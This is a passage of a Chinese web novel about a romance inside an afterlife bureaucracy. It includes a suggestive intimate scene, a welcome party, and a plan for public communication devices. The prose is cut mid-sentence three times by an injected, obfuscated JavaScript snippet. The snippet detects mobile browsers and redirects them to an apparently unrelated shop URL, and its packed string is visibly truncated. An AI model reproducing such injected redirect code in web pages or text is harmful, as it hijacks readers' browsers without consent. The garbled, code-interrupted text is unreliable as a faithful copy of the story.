“但……那只不过是春风一度,我不需要那种肤浅的快乐。” 她的手指轻轻抚上他心脏的位置:“我希望我们之间,是天长地久,是日升月恒。” 他怔在原地,心脏疯狂跳动起来,甚至快过了方才的意乱情迷。 她对他,居然是这般的……珍而重之? 那是他从未有过的体验,和她在一起,他的生命恍如每天都是新的,他忍不住紧紧地拥住她,万语千言在心中涌起,却不知如何开口。 她摸摸他的头发:“只是做这件事情的话,互相喜欢就够了;但想要长久,需要的很多很多,比如说,互相了解……” “你想要了解什么?”他急急道,“说给我听,我都会告诉你的。” “是吗?”祝平安扬扬眉毛:“那么请你告诉我吧,你为什么要做差役呢?” 她不是笨蛋,如果之前她还未有察觉,但今天见到这寒梅别庄,这些仆人,她心里便知道,温尔雅一定有事情瞒着她。 他是这样的聪明绝顶,又有惊人的财富,为什么要去考差役,甘心跟文山会海打交道、掉头发?怎么可能没有特别的理由? 温尔雅万万没想到她问的是这个问题,他颓然地张了张嘴,这个问题……他无法回答。 “我并不是逼问你。”祝平安摸摸他的头安抚道:“每个人都有秘密,你现在不能告诉我,一定有你的理由,我不会强迫你说的。” 同时,她又抬起他的下巴:“可这件事,不仅是身体的结合,更是灵魂的交融,我无法忍受,你的心里有一个角落,不能对我敞开。” 她指指温尔雅的心:“你问我要不要,我可以告诉你,我要。但我要的是毫无保留,如果你暂时不能做到,那我希望等到你可以的那一天……” “毕竟,我不喜欢怀着疑虑做这件事,那会成为一个无法弥补的遗憾。如果我们就这么做了,也许……”她抿了抿嘴,“也许将来的某一天,我们之间会产生隔阂,那是我无论如何都不愿意看到的。 “如何?我这样说,你明白了吗?” 他将她抱在怀中,两眼一眨不眨地看着她,深深沉醉在她的一片心意之中。最终,他叹息一声:“是我的错,有些事情,现在我真的不能告诉你……” “但是,我很快就会把那些事情料理清楚,到那时候……你……” “到那时候……我们就再到梅林来。”祝平安依偎在他耳边,轻笑道:“我要你像今天这样,用尽全身力气来吻我,然后,抱着我走进这个小屋。还有……” 她语带撩拨,将他轻轻推倒在榻上,他忍不住幻想起那个场面,只觉喉咙一片干渴:“还有什么?” 顿一顿,她轻轻说道:“……还有,是没有衣服的。” 这句话说完,她看见温尔雅的耳朵都红透了。天地一片旋转,他将她压在榻上,堵住了她的嘴唇,恨恨的话语在唇齿交缠中被磨碎:“你又来招我……明知道我现在不会对你……” “是啊,我就喜欢看你……为我倾倒,但又隐忍不发的样子……”她笑的狡黠,“反正都是秋后算账,还不让我大胆一些……” 他恨极却也是爱极,欲要狠狠报复,却又舍不得,只得含着她的嘴唇惩罚性地轻咬,微痛袭来,祝平安忍不住掐他一把,他又转为温柔抚慰,依依动人。 话既已说开,两人反而能全身心地享受沉浸在这个吻里。待到一吻结束,祝平安倚在他肩窝呜咽:“好了……不能再这样下去了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036503|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是你良心发现,不忍再折磨我?”他意有所指地看着她,“还是……你作茧自缚,也深陷其中了呢?” “你这人……好记仇啊!”祝平安恨恨地掐他一把,“既然知道,还忍心……?” “和你有关的一切,我都记得清清楚楚,何止是记仇呢?”他撩起已经汗湿的额发,“你却只记得我以牙还牙,真是没良心。” “不过,我毕竟不像你,我总是舍不得你痛苦的。”他的指尖从她脸颊滑下,在她惊讶的目光中,停在她腰际,小指一勾,挑开了系带。 她大惊:“你答应……” “嘘。”他的手指压在她嘴唇上,“我答应过的事情,绝对会做到,难道,你信不过我吗?” “那你还?” “我答应,暂时不跟你做那件事情,”他挑眸一笑,眉梢眼角都是掩不住的暧昧:“可我没答应,不让你快乐啊……” 他的手指覆上她的身躯:“况且,难道你忍得住吗?” 一声短促的尖叫,她身躯颤抖,绷紧了腿就要后退。他显示出难得一见的霸道,压住了她的身子,不准她躲闪,手指慢条斯理地轻柔滑动:“放松,不要大喊大叫的。” 他俯身,舔舐过她的耳垂:“毕竟,这只是个开始,倘若现在嗓子就累了,那后面怎么办呢……” 他的手柔软的像是鸽子的绒羽,给予她从未想像过的体验,良久之后,她如一片羽毛从云端慢慢、慢慢落下,一时间不知身在何处,回过神来时,才发现温尔雅依然用力揽着她,将头颈紧紧地贴在她脸上,挨挨擦擦,厮磨不已。 “我有给你快乐吗?”见她望过来,他温柔地询问。 她诚实地点点头:“我都不知道还有什么能比这个更好了。” 他失笑,这就让她满足了?因为她不准他做到最后一步,他还有的是手段没有用出来呢。 看她真是一脸再无他求的样子,他忍不住笑道:“比这个还好的多着呢,以后你会知道的。” 她软软倚在他怀中,嘻嘻笑着:“真的假的?那我等着能够领略的那一天。” 他只有比她更加期待,决心要早日查清鬼民簿的事情,以便恢复本来面目。他轻吻她汗湿的额头,笑道:“放心,那会是更极致的快乐。” 她红着脸,轻呸他一下,接着就发现了一件事:“哎呀,我的裤子……”这让她怎么再穿出去啊?别人还不以为她尿裤子了? 温尔雅看了也说:“这裤子只怕没法穿了。” 她急了:“那怎么办?总不成我就这样回去?” 那怎么行呢?就算她同意,他也不同意。好在下人们从来不会靠近这座竹舍,竹舍内的生活用品也还算齐全。他脱下外袍,无奈道:“你先穿我的衣服吧,裤子给我,我拿去给你洗了,用碳炉很快就能烘干的。” 说着,他便出去支起了一个碳炉,不多时便烧好了热水进来:“你先简单擦一擦,晚上回去再洗澡吧。” 说罢,他就转身出去小溪边洗裤子了。 贤夫什么的,就是这样了,不管跑到哪里,事后都摆不脱洗衣服的命啊~ 97.欢迎party 这几天新年假期,祝平安只觉自己过的是神仙日子。 天地之间,如斯之大,大得能装下五湖四海,却又如斯之小,小的好像只有他们两人。 那天之后,温尔雅晚间也开始跟她睡在一起,把形影不离四个字贯彻到底。他们赏遍了别庄美景,梅花下,清溪旁,处处可见照影成双。 他与她泛舟湖上,他吹笛,她听他吹笛;他与她垂钓溪中,他钓鱼,她看他钓鱼;他与她对酌月下,他举杯,她共他举杯。 她真的在履行自己的承诺,她不会让他再寂寞。 这里没有压力,没有工作,没有预算,只有美人、美景、美食。 在她的强烈要求下,从那天之后,就没有什么只给人看的点心上桌了,厨子只用心用意地做些特色小菜,反而更对了她的胃口:梅花粥、酸梅排骨、青梅果酿…… 他也在学着把自己的事情一一告诉她,过去的经历让他已经忘记了怎么开口,现在,他努力学着,把自己的每一点所思所想都告诉她,哪怕只是毫无意义的废话。 比如,“这朵花很美”,“这块云彩像只小狗”,“回家之后需要抽空买些清洁剂了”…… 但是当他开始说了之后,他真的觉得,自己与她更加亲近了。 原来,从一朵花开始,他们可以聊上很久很久,虽然那些话题散散乱乱,漫无边际。他幼年时摘下送给母亲的花、他爱闻梅花香气、他教她插花时发生的那个小插曲…… 她也在回应:她发现他情动时就会发出浓烈的花香(这点他自己都不知道)、她爱吃玫瑰馅的鲜花饼、她之前养的所有花都没能活过一个月…… 温尔雅觉得,他可能知道什么是“了解”了。 从前,不要说祝平安不了解他,连他自己也不了解自己。 现在,他开始知道,自己最喜欢的花朵是曼陀罗,最爱的颜色是绯红色,喜欢吃酸甜口味的食品,睡觉的时候喜欢侧身抱着被子睡…… 这些日子对他来说,也是从未有过的体验,他有时在想,从此带着她住在别庄里,逍遥度日,无俗事萦怀,做他一百年、一千年的神仙眷侣,似乎也不错。 然而快乐的时光总是短暂的,几天假期飞逝如电,在初四晚上,祝平安接到了白子欣发来的消息,他的母亲已经在今日寿终正寝,要来到地府跟他团聚了,他邀请祝平安明天来他家参加欢迎party。 这是早就决定的事情,也没什么可推脱的,当天晚上温尔雅就开始收拾行李,打算明天一早就回去。 然而这次再走,他却有了些怅然,这里留下了他许多美好的回忆。当然,更多的是期待,下次再带她来时,也许就会发生一些更美妙的事情…… 而且,也没有什么好不舍的,回去之后,他们也会一直在一起。 看着祝平安的睡脸,温尔雅笑着亲了亲她的额发。 白子欣住在一栋时尚的公寓里,设计非常有现代简约的风格,大露台极为显眼。可惜里面塞满了他的各类周边,显得一点都不宽敞。 当祝平安携温尔雅到达白子欣家时,她本没想那么多,毕竟白子欣已经知道他们在恋爱了,谁知她一敲开白子欣的家门就愣了:这小子!他把琢玉学院的老同学都请来了! 她条件反射的松开拉着温尔雅的手,生怕有公共安全部的同事也被他请来了,一望之下,她庆幸自己小心谨慎:果然,几个刑侦组的同事就在屋里坐着。 温尔雅忽然觉得好心情不翼而飞。 人啊,由奢入俭难,和她大大方方地度过几天之后,再回到遮遮掩掩的状态,真是让人浑身难受。当然,这也不能怪她……可他,还是心里疙疙瘩瘩的。 他可是堂堂的正夫(自封的),怎么过的像个奸夫一样呢? 他抿紧嘴,从善而流的往后退了三步,把跟祝平安的距离拉到了普通的社交距离。 白妈妈已经在屋子里坐着了,见又有客人来,连忙迎上来。白子欣已经跟白妈妈提过自己的一众亲友,白妈妈一看见人,就把他们俩对上了号。 长得特好看的小白脸——一定是那个叫温尔雅的! 短发大姐头——那就是祝平安没错了! 这两个人据说一直很照顾她的儿子,她连忙上前热情道:“谢谢两位照顾我的孩子!我就担心他太宅没朋友,没想到他的亲友还不少么!这我就放心了!” 伯母,你的接受度是不是也太良好了?祝平安自己刚下来的时候还适应了好几天死后世界这个设定呢,您一个七十岁的老太太,也融入太快了吧? 她也跟着堆笑:“哪里哪里,都是朋友么,伯母你能适应这里的生活吗?” 白妈妈两眼发亮:“有什么不适应的?太有意思了!要是早知道下面的生活是这样的,我早就死了!” 一看她的样子,就知道白子欣是随谁了。白妈妈虽然也七十多岁了,但头脑跟年轻人一样活跃,怪不得能生出白子欣这种少年天才。她的职业是一个漫画家,还出版过不少知名的作品呢! 白子欣补充:知名是知名,但都是少儿不宜的作品。 据她说,她年轻的时候也喜欢打游戏,白子欣的宅文化就是她滋养出来的,从小,白妈妈就带着他打红白机什么,母子俩人是一脉相承啊! 等到来了地府,白妈妈表示死后什么的简直太好了!又能跟儿子在一起,又不会继续衰老,她就有很多时间画漫画、打游戏啦,简直都不想去投胎啦! “妈!你不能这样子!”白子欣都无语了,恐吓她:“游魂只是不老,不是不死,再敢没日没夜的娱乐,小心老年猝死哦!” “呦呦,儿子长大了,知道管着妈妈啦?”白妈妈却不吃这套:“你小的时候我可没有限制你打游戏哦,你怎么恩将仇报啊?” “恩将仇报不是这么用的啊?”白子欣吐槽:“而且,反正都是要画漫画,你可以去杂志社工作啊,整体在家打游戏也没意思。” “我才不去,我是不会为了迎合市场而创作的!”白妈妈振振有词。 “那你当年还出版什么漫画啊!” “我那时候不是为了养你么。”白妈妈翘起二郎腿,“现在你不是有铁饭碗了么,应该养得起家吧?难道还要妈妈画画来补贴家用?” 太过分了!实在是太过分了!怎么能当啃儿族呢?白子欣控诉地看着妈妈,但没人理他。 看着这样的白妈妈,祝平安也不由得失笑,白子欣以后的生活,应该会变得再不寂寞了,只是……八成年夜饭明年还会来她家蹭,而且还会附带一个白妈妈。 起初她还担心这个欢迎party会让白妈妈适应不良,谁知她老人家比年轻人还放的开,一一跟儿子的朋友打过招呼后,就加入了林四梅几人的桌游局,祝平安也就跟老同学们聊聊近况。 金毛毛这次没来,据说是过新年的时候人家都不想值班,就找他替班,结果他一个人把所有同事的班都替了(永远学不会拒绝的小狗)。 除此之外,其余的同学全部到场。祝平安还抓着空问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042737|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了司铜一下里奥投胎的事情:“像是他们这种前生羁绊很深的人,转世后依然能在一块的概率是多少?” 司铜挠挠头:“这个么,我只能说,要是他们的转世还能相遇,一定会对彼此有特别的情愫的。你不是也读过《红楼梦》么,就像是宝黛初遇时,都有种这个人我是见过的感觉。” 祝平安这才略微放心一点,接着跟卫珑、桂中秋、叶霆霓、林四梅等人开展了久违的姐妹茶话会。言谈中他们得知,桂中秋似乎最近在谈恋爱,是跟他们部门的同事。 大家难免八卦一番,祝平安尤其吃惊:“不是说同部门不能谈恋爱么,你这是……” “嗨,你不要让他们知道不就行了?”桂中秋道,“规定是规定,但有没人会整天跟着你,调查你的隐私。除非是被人给举报了,否则人力资源署也懒得管。” 叶霆霓也道:“这种事情多了去了,哪个部门没有好几个?我们自从做了这份工,哪有闲工夫认识别的男人,不吃窝边草,那不是生生憋死人了?” 也吃了窝边草的祝平安多少有点心虚:“真没事啊?” “民不举官不究,你就放心吧。”卫珑一锤定音:“你怎么问起来没完了?莫不是……也吃窝边草了?” 她兴奋地捅捅祝平安:“你是不是跟张松鹤……?在学校的时候我就看你们俩不单纯,现在朝夕相对的,真没擦出点什么火花?” 砰的一声,大家转头看去,发现是温尔雅不小心碰倒了一个酒杯,也就不以为意的转过头去。继续逼问祝平安:“快快招来!到底有没有奸情!” 祝平安偷眼看去,见温尔雅神色都不对了,连杯子都没捡,大步往室外露台走去,心里就急了:“哪有?你们不要乱说!” “是不是卫珑在这,你不敢让组织上知道啊?”林四梅也加入调侃,“要么卫珑出去,你单独告诉我们?” “哎呦,别胡说八道了,真的没有!”祝平安懊丧极了,“你们这些人,太八卦了!太低俗了!懒得跟你们说!” 她找了个借口匆匆跑路,在屋子角落呆了五分钟,确定没人注意她,也往露台走去。 温尔雅站在露台上背对着她,两手搭在露台栏杆上向外看,风吹起他的长发,无端有几丝落寞。祝平安小心的站过去,没敢碰他,露台门是玻璃的,她怕被刑侦组的几个人看见。 温尔雅看她小心翼翼的不敢靠过来,心内更是酸涩。他有意再往旁边退去,遂了她的心愿,却又不甘心,只是闷闷的哼了一声:“你怎么出来了?” “你怎么了?”祝平安也学着他的样子两手搭在栏杆上,装作看景:“你脸色好难看。” 温尔雅对她一向温柔体贴,她从没见过他这样的冷脸,心下有些讶然。温尔雅冷哼道:“你明知故问。” “是因为我刚刚放开你的手吗?”祝平安悄悄往他那边挪了挪:“那也是没办法嘛,毕竟有刑侦组的同事在。” “我也没那么小气。”温尔雅不自在的扭过头去。 “那你为什么不高兴?”祝平安不解。 若是换了从前,温尔雅永远不会说出这句话的,可现在二人关系终究不同,他也被她鼓励着敞开内心。咬了咬嘴唇,他试探着将自己真正恐慌的事情说出来:“我不高兴,是因为,关于你,还有很多我不知道的事情。” “你是指什么?” “刚刚我都听到了,你,跟张松鹤。”他别扭的开口:“在学校的时候就不单纯?有什么事情,是我不知道的吗?” 98.勇者斗恶龙 祝平安张口结舌,一时间不知道作何反应,他是……吃醋了吗?吃她跟张松鹤的醋? 温尔雅问了这句话,紧张的身子都绷紧了,不敢看她。 他是不是不该问这句话?无论是在后土大神的体系下,还是他出生的部落时代,都是母系社会,女性有多个配偶是很平常的事情。按照他受到的教育,他应该对此事保持平常心,不能做妒夫。 若卫珑说的是祝平安和旁人,比如金毛毛、白子欣,他都能一笑置之,不以为意;可偏偏是张松鹤。 他知道,平安对他也曾经颇有好感,他们之间心有灵犀,默契无比,那是他和平安永远无法触及的领域。无边的嫉妒像是猛火,啃噬着他的心脏,他不禁去想,倘若张松鹤没有莫名其妙地冷淡她,今日,平安会选择他温尔雅吗? 莫名的挫败感让他心烦意乱,忘记了自己本该呈现出的姿态。他暗暗的后悔,自己是不是被嫉妒冲晕头脑,做了不该做的事情?居然对她甩脸色,说自己不高兴……这会惹她讨厌的! 果然,身边半晌都没传来动静,温尔雅呼吸一滞,她生气了? 他心慌意乱地想要往回找补:“当然,你不想跟我说,那也由你……” “不是我不想说,而是就没有什么可说的。”令他吃惊的是,祝平安开口了,“因为我们就没什么不单纯的事情,你别听卫珑瞎说。” 不单纯的事情确实没有,硬要说,也不过是她对张松鹤曾经有那么一些火花。但那一切都过去了,她又不是傻瓜,干嘛要现在说出来,给温尔雅添恶心呢? 她说的坦诚,温尔雅吃了一惊,扭过头细细打量她一番,见她似乎没有生气。 这份纵容养大了他的胆子,他忍不住问出了心中更深处的恐惧:“那可不好说,也许,只是没来得及发生不单纯的事情呢?” 即使以他的挑剔眼光来看,张松鹤也是难得一见的优秀男子,足以构成他的威胁,况且他很清楚,那天若不是他抢先一步,张松鹤也会对祝平安表白心意。 只是不知道出了什么误会,祝平安觉得张松鹤对她没意思,若是有一天她反应过来,她会怎么做?会……答应张松鹤吗? 温尔雅紧张地不敢抬头看她,忽然手背一暖,是平安的手飞快在他手背上拍了一下:“你在想什么呢?我已经有了这世界上最好的,不是吗?” 世界上……最好的? 她一定是哄他的,可她愿意这样哄他,可见自己在她心中的地位,起码跟那个张松鹤不相上下,或者略高一线。温尔雅的情绪立刻上扬起来,祝平安感受到他心情变化,含笑道:“心情变好点了吗?” “不好。”温尔雅硬是压下嘴角,他发现,自己的胆子真是被她的偏爱养大了,居然还敢得寸进尺。 “那,你要怎么样才能高兴呢?”祝平安追问。 他往室内瞟了一眼,屋里的大家都在更忙各的,只有卫珑几人坐在露台推拉门旁边。他心下笃定,伸出手,以迅雷不及掩耳之势,将她卷到露台的角落。 “哎?你做什么?”祝平安紧张地推了推他的胸膛,“别人看见怎么办?” “放心,在这个角度,屋里的人看不到你,但你要是乱动,那就不好说了。”他抚过她的头发,“你不是想知道,怎么才能让我高兴吗?” 他俯下身子,嘴唇从额头擦过她的鼻尖,停留在那里,压低了声音道:“那就让你的朋友们知道,谁才是你的窝边草。” “人家怎么想,我怎么……唔!” 他抬起她的脸,吻上了她。 有一件事,温尔雅说了谎。 在这个角度,屋里的人确实看不到他们,但,坐在露台门边上的几个人能看到。祝平安现在背对着推拉门所以一无所知,而他斜睨过去,看到卫珑等人嘴巴都张成了o型。 林四梅呛了一口果啤,喷了卫珑一脸,叶霆霓手里的零食都掉在地上,只有桂中秋最沉稳,起初的震惊过后,就立刻站起来挡在露台门口,以防有人误闯,果然不愧是也在搞办公室地下情的选手。 这一吻,只是为了在她的朋友圈中昭示身分,现在目的达到,他心中十分满意。见祝平安小有挣扎,便顺从地放开了她,含笑用指腹擦过她的唇瓣:“现在,应该不会有人想错了。” 他握着祝平安的肩膀,让她转了半圈,对上朋友们震惊的脸。 祝平安彻底红温了。 刚刚那一幕,她们都看见了?天啊,让她的脸往哪里放啊! 她埋怨地踩了温尔雅一脚:“你不是说屋里的人看不见吗?” “让她们看见怕什么?白子欣不是也知道么?”温尔雅避重就轻,“只要刑侦组的人不知道就好了吧。” 他从身后抱住她,满意在她耳边轻笑:“现在,她们不会误会你跟张松鹤了,我好开心。” 祝平安不记得自己是怎么走出露台的,但她记得朋友们意味深长的眼神,以及那天,她被迫跟朋友们小声坦诚了所有奸情的细节,而温尔雅就笑眯眯地坐在她旁边,不时还帮她补充两句。 温尔雅表示,被公开什么的真是太爽了! 这个话题一开启,就讲了大半天,欢迎party都要结束了。客人们陆续起身告辞,祝平安为了不暴露跟温尔雅一块走的事实,只得等着刑侦组的几个人走了她才能走。 等着也是等着,她索性还是坐到白妈妈旁边,围观她玩游戏。 白妈妈玩的是个很古早的游戏,正是RPG祖师级游戏《勇者斗恶龙》。祝平安也是久仰大名,却不曾见过这么古老的版本,不禁大开眼界。 玩着玩着,她发现白妈妈每次都要到教堂去存档,不由得好奇问道:“这个游戏不能即时存档的吗?” “那是技术发展之后的事情了,老游戏哪有这么高的机能啊?”白妈妈顺口答道:“之前所有的游戏都只能在特定地点存档的。” 叮——!!! 祝平安头上突然冒出来一个小叹号! 天哪,她真是个笨蛋,低成本提高通讯效率的方法,不就在眼前么! 张松鹤想要把传真鼎推广到人手一个的地方,难度无异于一步登天,可换个方向,这件问题也简单的很:如果说传真鼎是手机,那么他们现在用不起手机,用古老的电话亭也可以应付需要啊! 就好像之前一个十人小队共用一个传真鼎一样,那么一百人、一千人共用一个传真鼎又有何不可呢? 他们可以在每个街头都设立这么一个固定的传真鼎,大家有事情需要报告差役,不需要跑到治安所,只需要在最近的街道找到传真鼎就行了,甚至回执单也可以直接这样传回来,每次通讯都能做到双向高效! 这么一想,她有点坐不住了,拉着温尔雅就要告辞,感谢勇者斗恶龙,她也终于想出一个办法了! 两人回到家,祝平安兴冲冲地把这件事跟温尔雅说了,温尔雅也觉得可行,但仍有一些细节需要打磨。 首先要解决的问题就是,如何识别报案人的问题。 现在的传真鼎就像是内置了官方账号一样,比如祝平安传真鼎的内置账号就是“公共 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047673|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安全部祝平安”,倘若民众共用一个传真鼎的话,那这个传真鼎的内置账号就只能含糊的命名为“111号共用传真鼎”之类,那怎么找到报案人究竟是谁呢? 祝平安本来不觉得这是个问题,她想的很简单:“只要报案人在传真上写自己的名字跟鬼民编号不就好了么?” 她总是把人往好处想,好像世界上人人都能循规蹈矩,温尔雅虽不认同,却不想纠正她的想法:“如果报案人当时忘了写呢?如果报案人笔误,把自己的名字写错了呢?如果报案人是恶作剧,故意留了假名字呢?” “这样的话,我们就无法确定是谁报案,岂不误事?” 祝平安皱紧眉头,温尔雅说的有道理。如果都无法明确是谁报案,那行政效率不仅不会提高,反而会下降。 她暂时想不出什么好办法,于是把这一条先记下来,打算留着上会讨论,说不定张松鹤有解决的办法。然后,她就鼓动温尔雅继续给她查缺补漏。 心上人的愿望,温尔雅当然无所不允,他倒在沙发,在脑海中模拟推演现实可能会发生的情况,半晌又道:“不仅报案端识别身份是个问题,接案端其实麻烦也不少。” “如果真要推广,报案对大家来说就没什么成本了,若是试点,那还好说,未来倘若铺开,说不定一上午你就能接到上百上千个案子,光是筛选案件就要半天。我们有那么多人力物力来处理案件吗?” 祝平安也是点头认同,看报案的详情也是费时费力的工作,要是处置速度跟不上,居民报案也是无用。 不过这个难题相对来说好解决,了不起就是招人,温尔雅下一句话才是重中之重。 “公用传真鼎谁都能用,但依然能跟我们差役用的传真鼎通讯吧?居民若是不知道差役们的通讯号就算了,若是有哪个同事不小心把号码泄露了出去,我们依然跑不脱被垃圾信息掩埋的结局。” 没错,祝平安点点头,她也不想每天上班的时候接到一大堆骚扰传真。看来还得想想,怎么把至这个公用传真鼎跟差役用传真鼎分开来,最好从一开始就阻断通讯能力。 “还有,钱呢?”温尔雅的思考已经从创立期过渡到了维护期,“公用的物品往往磨损的很快,监管维护也是一个问题。我们部门也许能够搞到一批传真鼎用来做这个,但我们可没有人手去维护它,只怕将来铺开了,还得专门养一批人天天巡视它,及时维修……” 温尔雅实在太能干了! 祝平安下笔如飞,把他提出的疏漏一一先记下来,他在这些庶务上天分非凡,祝平安很快就写了满满几大张纸,一边写一边感叹:要是这些问题都能解决,她现在写出来的东西再稍微润色一下,都可以构成一部完整的方案了。 两个人就这样一个说一个写,时不时还头脑风暴一下,五六个小时很快就过去了,等到讨论结束时,设立公用传真鼎的方案已经相当之丰满。 祝平安看着这份方案,心情极其愉悦,恨不得明天就上班跟张松鹤讨论一下。但想起还有两天假期,她跟温尔雅商量:“要么明天就上班去算了?”不把这些问题解决了她心里痒痒啊! 上赶着结束休假去上班的人,也就她一个了,真是个工作狂。温尔雅笑笑,却没有反对。再享受两天与平安独处的时光固然好,但随着平安刚刚描述的方案,他脑海里也有一个绝妙的主意…… 如果能够获得批准的话,他也许就能光明正大地接触鬼民簿,到那时…… 他拥着平安,想起梅林中的小屋,轻轻吻了一下她的头发:“好啊。” 99.试点专班 第二天开晨会时,张松鹤居然又看到了两名左右手出现在座位上。 奇怪,不是又请了两天假吗?难道度假时闹了不愉快,所以提前回来了? 但看两人神色,不像是闹什么别扭。反而好像……更亲近了,无论他们言谈举止间怎样尽力掩饰,但在他这个知情人眼中,那份亲密一览无余。 当发现这一点时,他的心狠狠抽搐了一下,如果他之前没有做出那个错误的选择,这一切本应该是他的…… 值得庆幸的是,掩饰心痛要比掩饰爱意简单的多。他垂下眼帘,不去看他们的方向,只盯着眼前的议程,照本宣科地主持早会:“我来讲一下今年的工作计划……” 早会结束,他第一个站起来要走,眼不见心不烦,除了掩饰,他能做的唯一一件事是离开。 但那两个人却不肯放过他,他的手刚放在门把手上,便听见身后响起温尔雅的声音:“张部长,请留步,有一件事情要跟你商量。” “什么事?”他没回头,但依然能感受到温尔雅脸上那隐含着得意的笑容,“要是不重要,就等等再说吧。” 等他心情平复一点时再说。 “之前我们讨论如何提升通讯效率,我跟温尔雅已经有了一个初步的方案。”祝平安顺势借口,说完就觉得不对,这不是明摆着自己假期的几天都跟温尔雅在一起吗? 她连忙住嘴,忐忑地看张松鹤的神色,发现没什么变化,这才放心的继续说下去:“有一些问题我们没想好,想跟张部长一块商量商量……” 叫温尔雅是叫名字,叫他就成了张部长? 他的手紧紧握在门把手上,指节处因用力一片青白。他背对着他们,闭了闭眼,这才压下心中汹涌的情绪,换上一副公事公办的笑容:“好啊,就让我看看你们这几天都做了什么。” “……综上,我们的想法大概就这样,只是还有几个难题没想好解决方法。”祝平安把她昨晚拟的草稿拿过来给张松鹤看,“我认为,公用传真鼎是有可行性的,但有几个大问题没法解决。分别是报案人身份确认、结案人处置速度、通讯独立问题、设备的维护管理……不知道您有什么看法?” 张松鹤拿着这份稿件沉默不语,虽说有几个难题未能克服,但这个解决方式很聪明,比之前大家想的烂主意都更有实操性。他沉下心,专注地开始翻动着稿件,思考解决方式。 良久,他先开口了:“通讯独立问题,你们不必担心,只需要在符咒上做一些微小的改动,就能实现固定点通讯——也就是说,公共传真鼎的传真只能发送到一个固定的接收方,无法跟其他差役联络。” 祝平安他们不知道,其实传真鼎,本就是张松鹤发明的。昆仑玉上的符文也是他从道家的传音符改良的,虽然祝平安说的这个方向他没想过,但当真要搞的话,他有把握在一个月内将之实现。 “至于其他的问题……”他摸着下巴,“设备的维护管理,我可以试着去找到专人负责;结案人处置速度么……不行就增加人手吧,招聘二三十个专门查看案件的人,还是可行的。但报案人身份确认这点,我也没什么想法。” 瞧着大家都眉头紧皱,温尔雅心道是时候了,他清清嗓子道:“我倒是有个不成熟的想法。” “现在我们每个传真鼎都只内置了一个账号,那有没有可能,在传真鼎里内置上几百个账号呢?只要把所有鬼民的信息内置进去,就像人类的邮箱一样,大家输入自己的鬼民编号,就能登录上属于自己的那个账号……” 祝平安的眼神一下就亮了! 是啊,这不就完美解决了么!作为现代人,她在这方面的脑子居然还没温尔雅好使,真是惭愧惭愧。 她不禁钦佩地看着他:“你真厉害,这个你是怎么想到的?” “其实是多亏你了,这几天放假的时候,你跟我讲了许多自己的事情,你说之前逃课去网吧玩,还在公用的电脑上面注册了什么邮箱,所以我就在想,我们的公用传真鼎跟公用电脑也没太大区别吧?” 温尔雅话说的很漫不经心,张松鹤依然听出了他隐含的那缕炫耀。这几天,他们就是这样过的吗? 说自己过往的趣事、囧事、小事……那是,很亲近的人才能分享的小秘密吧? 张松鹤心中酸涩难言,一时间,思绪都不知道飞到哪去了,半天才回过神来:“思路很好,我可以尝试往这个方向去修改符文。” 接着,张松鹤眉头又皱了起来:“只是,地府鬼民数量何等庞杂,昆仑玉即使容量再大,但只怕也很难装得下这么多鬼民的信息……” “如果加大昆仑玉的用量呢?”祝平安提议,堆量应该能解决一切问题的吧? “行是行,但这样子的话,需要的用量就很惊人了,只怕我一个人决定不下来。”张松鹤的手指敲打着桌面,“我也需要跟上级汇报一下。” 今天的会议就这样结束了,祝平安跟温尔雅也就告辞离开,张松鹤看着两人的背影,心中落寞。 他这么急着推动这件事情,内中也有借工作分心的缘由,但只要他还在公共安全部,就不可避免地跟他们俩缠在一起,偏偏,他确实离不开他们。 这让他如何静心呢? 但是,他不能逃避。过去已经给了他血淋淋的教训,上一次的逃避,他不仅没有压抑住爱火,反而失去了获得幸福的资格…… 逃避什么也改变不了,只会把事情弄得更糟糕。 原来这就是劫,是考验。考验不是看两情欢好时,你愿意为某人付出多少,而是当你倾尽所有的付出后,对方依然不会给你任何的回报……到那时,你会选择什么? 是继续守护,还是就此放弃? 当明知已经无望的时候,你还愿意一次次地站起来,继续燃烧自己吗?等待着上天赐予你一丝侥幸,等待着某人蓦然回首? 他无声地问着自己,但这一次,他没有得到答案。 苦笑着摇摇头,张松鹤起身,先做着他力所能及的事情。比如说,研究符文的改进方向,跟通讯制备部的人聊一聊,还有,去找包大人。 这件事终于有了一个相对可行的方案,包大人会满意的。 两周后,祝平安收到了一封特别的函件,发信人部分赫然盖着阎罗王包的玉玺。 